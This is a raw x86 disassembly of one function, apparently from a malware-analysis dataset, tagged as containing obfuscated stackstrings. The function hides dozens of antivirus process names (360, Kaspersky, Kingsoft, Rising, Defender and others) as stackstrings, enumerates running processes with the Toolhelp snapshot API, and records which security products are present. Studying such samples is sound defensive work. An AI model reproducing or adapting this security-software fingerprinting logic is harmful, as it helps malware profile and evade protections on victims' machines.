Function at 0x10018eb2
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x35e0
call fcn.100356c0
mov eax, dword [0x10059400]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov edi, pe_nt_image_headers32
mov dword [ebp - 0x35d0], eax
push edi
xor ebx, ebx
mov dword [ebp - 0x10a4], 0x74303633
lea eax, [ebp - 0x1098]
mov dword [ebp - 0x10a0], 0x2e796172
push ebx
push eax
mov dword [ebp - 0x109c], 0x657865
call fcn.10022cd0
lea esi, [edi + 2]
mov dword [ebp - 0x1af4], 0x73303633
push esi
lea eax, [ebp - 0x1aea]
mov dword [ebp - 0x1af0], 0x78652e64
push ebx
push eax
mov word [ebp - 0x1aec], 0x65
call fcn.10022cd0
push edi
lea eax, [ebp - 0x15c0]
mov dword [ebp - 0x15cc], 0x75673261
push ebx
push eax
mov dword [ebp - 0x15c8], 0x2e647261
mov dword [ebp - 0x15c4], 0x657865
call fcn.10022cd0
push esi
lea eax, [ebp - 0x1bf2]
mov dword [ebp - 0x1bfc], 0x71732d61
push ebx
push eax
mov dword [ebp - 0x1bf8], 0x65726175
mov word [ebp - 0x1bf4], 0x64
call fcn.10022cd0
push 0xf7
lea eax, [ebp - 0x74f]
mov dword [ebp - 0x75c], 0x772d6461
push ebx
push eax
mov dword [ebp - 0x758], 0x68637461
mov dword [ebp - 0x754], 0x6578652e
mov byte [ebp - 0x750], bl
call fcn.10022cd0
inc esi
mov dword [ebp - 0x2124], 0x6176614c
push esi
lea eax, [ebp - 0x211b]
mov dword [ebp - 0x2120], 0x74666f73
push ebx
push eax
mov byte [ebp - 0x211c], bl
call fcn.10022cd0
add esp, 0x48
mov dword [ebp - 0x12b4], 0x704d734d
lea eax, [ebp - 0x12a8]
mov dword [ebp - 0x12b0], 0x2e676e45
mov dword [ebp - 0x12ac], 0x657865
push edi
push ebx
push eax
call fcn.10022cd0
movdqa xmm0, xmmword [0x10051050]
lea eax, [ebp - 0x31e]
push 0xe6
push ebx
push eax
movdqu xmmword [ebp - 0x33c], xmm0
mov dword [ebp - 0x32c], 0x45207974
mov dword [ebp - 0x328], 0x6e657373
mov dword [ebp - 0x324], 0x6c616974
mov word [ebp - 0x320], 0x73
call fcn.10022cd0
mov dword [ebp - 0x2334], 0x2e707661
mov dword [ebp - 0x2330], 0x657865
push 0xfc
lea eax, [ebp - 0x232c]
push ebx
push eax
call fcn.10022cd0
push edi
lea eax, [ebp - 0x14b8]
mov dword [ebp - 0x14c4], 0x6f4d764b
push ebx
push eax
mov dword [ebp - 0x14c0], 0x2e50586e
mov dword [ebp - 0x14bc], 0x657865
call fcn.10022cd0
push edi
lea eax, [ebp - 0xe88]
mov dword [ebp - 0xe94], 0x4d766152
push ebx
push eax
mov dword [ebp - 0xe90], 0x2e446e6f
mov dword [ebp - 0xe8c], 0x657865
call fcn.10022cd0
push 0xf7
lea eax, [ebp - 0xb6f]
mov dword [ebp - 0xb7c], 0x6873634d
push ebx
push eax
mov dword [ebp - 0xb78], 0x646c6569
mov dword [ebp - 0xb74], 0x6578652e
mov byte [ebp - 0xb70], bl
call fcn.10022cd0
add esp, 0x48
mov dword [ebp - 0x222c], 0x69756765
lea eax, [ebp - 0x2223]
mov dword [ebp - 0x2228], 0x6578652e
mov byte [ebp - 0x2224], bl
push esi
push ebx
push eax
call fcn.10022cd0
lea esi, [edi + 6]
mov dword [ebp - 0x2754], 0x33444f4e
push esi
lea eax, [ebp - 0x274e]
mov word [ebp - 0x2750], 0x32
push ebx
push eax
call fcn.10022cd0
push edi
lea eax, [ebp - 0xf90]
mov dword [ebp - 0xf9c], 0x7465786b
push ebx
push eax
mov dword [ebp - 0xf98], 0x2e796172
mov dword [ebp - 0xf94], 0x657865
call fcn.10022cd0
push 0xf7
lea eax, [ebp - 0x53f]
mov dword [ebp - 0x54c], 0x64736e6b
push ebx
push eax
mov dword [ebp - 0x548], 0x79617274
mov dword [ebp - 0x544], 0x6578652e
mov byte [ebp - 0x540], bl
call fcn.10022cd0
push edi
lea eax, [ebp - 0x11a0]
mov dword [ebp - 0x11ac], 0x4d424d54
push ebx
push eax
mov dword [ebp - 0x11a8], 0x2e565253
mov dword [ebp - 0x11a4], 0x657865
call fcn.10022cd0
push 0xf7
lea eax, [ebp - 0x647]
mov dword [ebp - 0x654], 0x65637661
push ebx
push eax
mov dword [ebp - 0x650], 0x7265746e
mov dword [ebp - 0x64c], 0x6578652e
mov byte [ebp - 0x648], bl
call fcn.10022cd0
add esp, 0x48
push esi
lea eax, [ebp - 0x253e]
mov dword [ebp - 0x2544], 0x72697641
push ebx
push eax
mov word [ebp - 0x2540], 0x61
call fcn.10022cd0
push edi
lea eax, [ebp - 0x13b0]
mov dword [ebp - 0x13bc], 0x44687361
push ebx
push eax
mov dword [ebp - 0x13b8], 0x2e707369
mov dword [ebp - 0x13b4], 0x657865
call fcn.10022cd0
push esi
lea eax, [ebp - 0x2646]
mov dword [ebp - 0x264c], 0x73617641
push ebx
push eax
mov word [ebp - 0x2648], 0x74
call fcn.10022cd0
push edi
lea eax, [ebp - 0x17d0]
mov dword [ebp - 0x17dc], 0x73767472
push ebx
push eax
mov dword [ebp - 0x17d8], 0x2e6e6163
mov dword [ebp - 0x17d4], 0x657865
call fcn.10022cd0
push 0xfa
lea eax, [ebp - 0x1cfa]
mov dword [ebp - 0x1d04], 0x6661736b
push ebx
push eax
mov dword [ebp - 0x1d00], 0x78652e65
mov word [ebp - 0x1cfc], 0x65
call fcn.10022cd0
push edi
lea eax, [ebp - 0xd80]
mov dword [ebp - 0xd8c], 0x43505151
push ebx
push eax
mov dword [ebp - 0xd88], 0x2e505452
mov dword [ebp - 0xd84], 0x657865
call fcn.10022cd0
add esp, 0x48
mov dword [ebp - 0x19ec], 0x72746170
add esi, 0xfffffffb
mov dword [ebp - 0x19e8], 0x652e7961
lea eax, [ebp - 0x19e1]
mov word [ebp - 0x19e4], 0x6578
mov byte [ebp - 0x19e2], bl
push esi
push ebx
push eax
call fcn.10022cd0
push 0xfa
lea eax, [ebp - 0x1f0a]
mov dword [ebp - 0x1f14], 0x76533356
push ebx
push eax
mov dword [ebp - 0x1f10], 0x78652e63
mov word [ebp - 0x1f0c], 0x65
call fcn.10022cd0
push 0xf7
lea eax, [ebp - 0x857]
mov dword [ebp - 0x864], 0x77677661
push ebx
push eax
mov dword [ebp - 0x860], 0x63767364
mov dword [ebp - 0x85c], 0x6578652e
mov byte [ebp - 0x858], bl
call fcn.10022cd0
add edi, 8
mov dword [ebp - 0x2a6c], 0x475641
push edi
lea eax, [ebp - 0x2a68]
push ebx
push eax
call fcn.10022cd0
push 0xf7
lea eax, [ebp - 0x437]
mov dword [ebp - 0x444], 0x65536363
push ebx
push eax
mov dword [ebp - 0x440], 0x72674d74
mov dword [ebp - 0x43c], 0x6578652e
mov byte [ebp - 0x438], bl
call fcn.10022cd0
push 0xf7
lea eax, [ebp - 0xa67]
mov dword [ebp - 0xa74], 0x4c485551
push ebx
push eax
mov dword [ebp - 0xa70], 0x43565350
mov dword [ebp - 0xa6c], 0x4558452e
mov byte [ebp - 0xa68], bl
call fcn.10022cd0
add esp, 0x48
mov dword [ebp - 0x18e4], 0x43495551
lea eax, [ebp - 0x18d9]
mov dword [ebp - 0x18e0], 0x4548204b
mov word [ebp - 0x18dc], 0x4c41
mov byte [ebp - 0x18da], bl
push esi
push ebx
push eax
call fcn.10022cd0
push pe_nt_image_headers32
lea eax, [ebp - 0x16c8]
mov dword [ebp - 0x16d4], 0x65666173
push ebx
push eax
mov dword [ebp - 0x16d0], 0x2e676f64
mov dword [ebp - 0x16cc], 0x657865
call fcn.10022cd0
push 0xf5
lea eax, [ebp - 0x225]
mov dword [ebp - 0x234], 0x64696142
push ebx
push eax
mov dword [ebp - 0x230], 0x53645375
mov dword [ebp - 0x22c], 0x652e6376
mov word [ebp - 0x228], 0x6578
mov byte [ebp - 0x226], bl
call fcn.10022cd0
push 0xfd
lea eax, [ebp - 0x2435]
mov dword [ebp - 0x243c], 0x652e5151
push ebx
push eax
mov word [ebp - 0x2438], 0x6578
mov byte [ebp - 0x2436], bl
call fcn.10022cd0
mov esi, 0x101
mov word [ebp - 0x2b74], 0x5151
push esi
lea eax, [ebp - 0x2b71]
mov byte [ebp - 0x2b72], bl
push ebx
push eax
call fcn.10022cd0
push 0xf7
lea eax, [ebp - 0xc77]
mov dword [ebp - 0xc84], 0x656c6554
push ebx
push eax
mov dword [ebp - 0xc80], 0x6d617267
mov dword [ebp - 0xc7c], 0x6578652e
mov byte [ebp - 0xc78], bl
call fcn.10022cd0
add esp, 0x48
mov word [ebp - 0x2c7c], 0x4754
lea eax, [ebp - 0x2c79]
mov byte [ebp - 0x2c7a], bl
push esi
push ebx
push eax
call fcn.10022cd0
mov dword [ebp - 0x1e0c], 0x70796b53
mov dword [ebp - 0x1e08], 0x78652e65
push 0xfa
lea eax, [ebp - 0x1e02]
mov word [ebp - 0x1e04], 0x65
push ebx
push eax
call fcn.10022cd0
push edi
lea eax, [ebp - 0x2858]
mov dword [ebp - 0x285c], 0x594b53
push ebx
push eax
call fcn.10022cd0
push 0xf7
lea eax, [ebp - 0x95f]
mov dword [ebp - 0x96c], 0x74616857
push ebx
push eax
mov dword [ebp - 0x968], 0x70704173
mov dword [ebp - 0x964], 0x6578652e
mov byte [ebp - 0x960], bl
call fcn.10022cd0
push 0xfb
lea eax, [ebp - 0x2013]
mov dword [ebp - 0x201c], 0x74616857
push ebx
push eax
mov dword [ebp - 0x2018], 0x70704173
mov byte [ebp - 0x2014], bl
call fcn.10022cd0
push esi
lea eax, [ebp - 0x2961]
mov word [ebp - 0x2964], 0x2020
push ebx
push eax
mov byte [ebp - 0x2962], bl
call fcn.10022cd0
add esp, 0x48
mov dword [ebp - 0xf0], 0x73706948
mov dword [ebp - 0xec], 0x79617254
mov dword [ebp - 0xe8], 0x6578652e
mov byte [ebp - 0xe4], bl
mov dword [ebp - 0x64], 0xdec8f0bb
mov dword [ebp - 0x60], 0xabc8b2b0
mov byte [ebp - 0x5c], bl
mov dword [ebp - 0xd0], 0xb0303633
mov dword [ebp - 0xcc], 0xceabc8b2
mov dword [ebp - 0xc8], 0xbfcac0
mov dword [ebp - 0x70], 0xbdc9f0bd
mov dword [ebp - 0x6c], 0xd4b0beb6
mov byte [ebp - 0x68], bl
mov dword [ebp - 0xc4], 0xe7b55151
mov dword [ebp - 0xc0], 0xdcb9d4c4
mov word [ebp - 0xbc], 0xd2bc
mov byte [ebp - 0xba], bl
mov dword [ebp - 0x28], 0xc9303633
mov dword [ebp - 0x24], 0xbeb6b1
mov dword [ebp - 0x88], 0xcdb0a8bf
mov dword [ebp - 0x84], 0xf9bbb9cb
mov byte [ebp - 0x80], bl
mov dword [ebp - 0x58], 0xf1c3adbd
mov dword [ebp - 0x54], 0xbeb6b1c9
mov byte [ebp - 0x50], bl
mov dword [ebp - 0xa0], 0xc7d0f0c8
mov dword [ebp - 0x9c], 0xbeb6b1c9
mov byte [ebp - 0x98], bl
mov dword [ebp - 0x10], 0xa7bff3c2
mov word [ebp - 0xc], 0xc8b7
mov byte [ebp - 0xa], bl
mov dword [ebp - 0xb8], 0xa3c5c9bf
mov dword [ebp - 0xb4], 0xbeb6b1c9
mov byte [ebp - 0xb0], bl
mov dword [ebp - 0xac], 0xc6caf7c7
mov dword [ebp - 0xa8], 0xbeb6b1c9
mov byte [ebp - 0xa4], bl
mov dword [ebp - 0x94], 0xd9b6b5c5
mov dword [ebp - 0x90], 0xbeb6b1c9
mov byte [ebp - 0x8c], bl
mov dword [ebp - 0x34], 0xbdc9f0bd
mov dword [ebp - 0x30], 0xbfcac0ce
mov byte [ebp - 0x2c], bl
mov dword [ebp - 0x18], 0xa9b2b2b0
lea eax, [ebp - 0x10a4]
mov word [ebp - 0x14], 0xbfca
mov dword [ebp - 0x349c], eax
lea eax, [ebp - 0xd0]
mov dword [ebp - 0x3498], eax
lea eax, [ebp - 0x1af4]
mov dword [ebp - 0x3494], eax
lea eax, [ebp - 0x28]
mov dword [ebp - 0x3490], eax
lea eax, [ebp - 0x15cc]
mov dword [ebp - 0x348c], eax
lea eax, [ebp - 0x1bfc]
mov dword [ebp - 0x3488], eax
lea eax, [ebp - 0x75c]
mov dword [ebp - 0x3484], eax
lea eax, [ebp - 0x2124]
mov dword [ebp - 0x3480], eax
lea eax, [ebp - 0x12b4]
mov dword [ebp - 0x347c], eax
lea eax, [ebp - 0x33c]
mov dword [ebp - 0x3478], eax
lea eax, [ebp - 0x2334]
mov dword [ebp - 0x3474], eax
lea eax, [ebp - 0x88]
mov dword [ebp - 0x3470], eax
lea eax, [ebp - 0x14c4]
mov dword [ebp - 0x346c], eax
lea eax, [ebp - 0x58]
mov dword [ebp - 0x3468], eax
lea eax, [ebp - 0xe94]
mov dword [ebp - 0x3464], eax
lea eax, [ebp - 0xa0]
mov dword [ebp - 0x3460], eax
lea eax, [ebp - 0xb7c]
mov dword [ebp - 0x345c], eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x3458], eax
lea eax, [ebp - 0x222c]
mov dword [ebp - 0x3454], eax
lea eax, [ebp - 0x2754]
mov dword [ebp - 0x3450], eax
lea eax, [ebp - 0xf9c]
mov dword [ebp - 0x344c], eax
lea eax, [ebp - 0x70]
mov dword [ebp - 0x3448], eax
lea eax, [ebp - 0x54c]
mov dword [ebp - 0x3444], eax
lea eax, [ebp - 0xb8]
mov dword [ebp - 0x3440], eax
lea eax, [ebp - 0x11ac]
mov dword [ebp - 0x343c], eax
lea eax, [ebp - 0xac]
mov dword [ebp - 0x3438], eax
lea eax, [ebp - 0x654]
mov dword [ebp - 0x3434], eax
lea eax, [ebp - 0x2544]
mov dword [ebp - 0x3430], eax
lea eax, [ebp - 0x13bc]
mov dword [ebp - 0x342c], eax
lea eax, [ebp - 0x264c]
mov dword [ebp - 0x3428], eax
lea eax, [ebp - 0x17dc]
mov dword [ebp - 0x3424], eax
lea eax, [ebp - 0x94]
mov dword [ebp - 0x3420], eax
lea eax, [ebp - 0x1d04]
mov dword [ebp - 0x341c], eax
lea eax, [ebp - 0x34]
mov byte [ebp - 0x12], bl
mov dword [ebp - 0x7c], 0xa9b2b2b0
mov dword [ebp - 0x78], 0x3356bfca
mov byte [ebp - 0x74], bl
mov dword [ebp - 0x40], 0xc5c3fcc8
mov dword [ebp - 0x3c], 0xcbbffacc
mov byte [ebp - 0x38], bl
mov dword [ebp - 0x20], 0xabc8b2b0
mov word [ebp - 0x1c], 0xb7b9
mov byte [ebp - 0x1a], bl
mov dword [ebp - 0x4c], 0xc8b6d9b0
mov dword [ebp - 0x48], 0xbeb6b1c9
mov byte [ebp - 0x44], bl
mov dword [ebp - 0x3418], eax
lea eax, [ebp - 0xd8c]
mov dword [ebp - 0x3414], eax
lea eax, [ebp - 0xc4]
mov dword [ebp - 0x3410], eax
lea eax, [ebp - 0x19ec]
mov dword [ebp - 0x340c], eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0x3408], eax
lea eax, [ebp - 0x1f14]
mov dword [ebp - 0x3404], eax
lea eax, [ebp - 0x7c]
mov dword [ebp - 0x3400], eax
lea eax, [ebp - 0x864]
mov dword [ebp - 0x33fc], eax
lea eax, [ebp - 0x2a6c]
mov dword [ebp - 0x33f8], eax
lea eax, [ebp - 0x444]
mov dword [ebp - 0x33f4], eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0x33f0], eax
lea eax, [ebp - 0xa74]
mov dword [ebp - 0x33ec], eax
lea eax, [ebp - 0x18e4]
mov dword [ebp - 0x33e8], eax
lea eax, [ebp - 0x16d4]
mov dword [ebp - 0x33e4], eax
lea eax, [ebp - 0x20]
mov dword [ebp - 0x33e0], eax
lea eax, [ebp - 0x234]
mov dword [ebp - 0x33dc], eax
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x33d8], eax
lea eax, [ebp - 0x243c]
mov dword [ebp - 0x33d4], eax
lea eax, [ebp - 0x2b74]
mov dword [ebp - 0x33d0], eax
lea eax, [ebp - 0xc84]
mov dword [ebp - 0x33cc], eax
lea eax, [ebp - 0x2c7c]
mov dword [ebp - 0x33c8], eax
lea eax, [ebp - 0x1e0c]
mov dword [ebp - 0x33c4], eax
lea eax, [ebp - 0x285c]
mov dword [ebp - 0x33c0], eax
lea eax, [ebp - 0x96c]
mov dword [ebp - 0x33bc], eax
lea eax, [ebp - 0x201c]
mov dword [ebp - 0x33b8], eax
lea eax, [ebp - 0xf0]
mov dword [ebp - 0x33b4], eax
lea eax, [ebp - 0x64]
mov dword [ebp - 0x33b0], eax
lea eax, [ebp - 0x2964]
push 0x728
mov dword [ebp - 0x33ac], eax
mov dword [ebp - 0x33a8], eax
lea eax, [ebp - 0x33a4]
push ebx
push eax
call fcn.10022cd0
movdqa xmm0, xmmword [0x10050f00]
lea eax, [ebp - 0xe0]
add esp, 0xc
mov dword [ebp - 0xe0], 0x6e72656b
mov dword [ebp - 0xdc], 0x32336c65
mov dword [ebp - 0xd8], 0x6c6c642e
mov byte [ebp - 0xd4], bl
movdqu xmmword [ebp - 0x12c], xmm0
mov dword [ebp - 0x11c], 0x70616e53
mov dword [ebp - 0x118], 0x746f6873
mov byte [ebp - 0x114], bl
mov dword [ebp - 0x110], 0x636f7250
mov dword [ebp - 0x10c], 0x33737365
mov dword [ebp - 0x108], 0x72694632
mov word [ebp - 0x104], 0x7473
mov byte [ebp - 0x102], bl
mov dword [ebp - 0x100], 0x636f7250
mov dword [ebp - 0xfc], 0x33737365
mov dword [ebp - 0xf8], 0x78654e32
mov word [ebp - 0xf4], 0x74
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
lea ecx, [ebp - 0x12c]
push ecx
push eax
mov dword [ebp - 0x35cc], eax
call esi
mov edi, eax
lea eax, [ebp - 0x110]
push eax
push dword [ebp - 0x35cc]
call esi
mov dword [ebp - 0x35d8], eax
lea eax, [ebp - 0x100]
push eax
push dword [ebp - 0x35cc]
call esi
push ebx
push 2
mov dword [ebp - 0x35dc], eax
call edi
mov esi, eax
mov dword [ebp - 0x35c8], esi
test esi, esi
je 0x10019c98
push 0x100504d4
push dword [ebp - 0x349c]
mov dword [ebp - 0x35c4], 0x128
call fcn.100295d0
mov esi, dword [ebp - 0x35d0]
pop ecx
pop ecx
test eax, eax
jne 0x10019c9e
lea edi, [ebp - 0x349c]
mov dword [ebp - 0x35d4], ebx
lea eax, [ebp - 0x35c4]
push eax
push dword [ebp - 0x35c8]
call dword [ebp - 0x35d8]
test eax, eax
je 0x10019c62
mov edi, dword [edi]
lea eax, [ebp - 0x35a0]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_lstrcmpiA]
test eax, eax
je 0x10019c44
lea eax, [ebp - 0x35c4]
push eax
push dword [ebp - 0x35c8]
call dword [ebp - 0x35dc]
test eax, eax
jne 0x10019c19
jmp 0x10019c62
mov eax, dword [ebp - 0x35d4]
mov edi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
push dword [ebp + eax - 0x3498]
push esi
call edi
push 0x100504d4
push esi
call edi
inc ebx
mov dword [ebp - 0x35c4], 0x128
mov eax, ebx
lea edi, [ebp - 0x349c]
shl eax, 3
add edi, eax
mov dword [ebp - 0x35d4], eax
push 0x100504d4
push dword [edi]
call fcn.100295d0
pop ecx
pop ecx
test eax, eax
je 0x10019c00
jmp 0x10019c9e
mov esi, dword [ebp - 0x35d0]
push dword [ebp - 0x35c8]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push esi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
test eax, eax
jne 0x10019cc1
push 0x10050b14
push esi
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov eax, dword [ebp - 0x35cc]
test eax, eax
je 0x10019cd2
push eax
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10021e50
mov esp, ebp
pop ebp
ret 4